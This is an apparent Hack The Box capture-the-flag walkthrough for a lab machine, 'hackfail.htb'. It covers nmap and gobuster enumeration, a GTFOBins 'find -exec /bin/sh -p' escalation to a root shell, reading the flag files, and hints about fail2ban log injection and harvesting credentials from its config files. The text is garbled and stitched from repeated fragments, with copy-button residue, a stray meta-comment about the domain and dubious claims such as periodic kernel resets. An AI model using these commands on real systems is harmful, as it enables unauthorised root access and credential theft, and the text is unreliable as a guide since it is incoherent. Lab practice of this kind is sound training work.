Start with a standard aggressive Nmap scan to discover open ports and running services. nmap -sC -sV -A -oN nmap_report.txt hackfail.htb Use code with caution. The scan reveals two primary ports of interest:
: nmap -sV -sC -oA hackfail 10.10.11.100 (Replace 10.10.11.100 with the actual IP of the machine)
echo "[*] Checking DNS resolution..." getent hosts $TARGET_DOMAIN | grep $TARGET_IP || echo "FAIL: Domain resolves to wrong IP." hackfail.htb
According to GTFOBins, we can execute commands as root using find . /usr/bin/find . -exec /bin/sh -p \; -quit Use code with caution. Copied to clipboard Result: Root shell ( # ). 4. Capturing Flags # cat /home/user/user.txt # cat /root/root.txt Use code with caution. Copied to clipboard
Hack The Box (HTB) is a popular online platform that provides a legal and safe environment for cybersecurity enthusiasts to practice their hacking skills. The platform offers a variety of challenges and virtual machines (VMs) to hack into, with the goal of gaining root access or finding specific flags. Start with a standard aggressive Nmap scan to
Persistence. The box’s environment resets certain kernel data structures every 60 seconds. You must time your exploit execution perfectly. Many users give up, thinking the box is broken. In truth, they failed at failing—they didn't try often enough.
gobuster dir -u http://hackfail.htb -w /usr/share/wordlists/dirb/common.txt -o directories.txt Use code with caution. /usr/bin/find
The provided text hackfail.htb appears to be a domain name typically associated with Hack The Box (HTB)
Navigate to /etc/fail2ban/ to analyze how the jail was configured. You may find hardcoded credentials, sensitive API tokens, or internal SSH keys exposed in custom action scripts or configuration files ( jail.local , jail.conf ).
If Fail2ban is improperly configured to parse untrusted input using loose regular expressions, it becomes vulnerable to log injection. Testing for Log Injection
This machine is a Linux-based target that requires methodical enumeration to identify web-based vulnerabilities and misconfigurations for privilege escalation. : hackfail.htb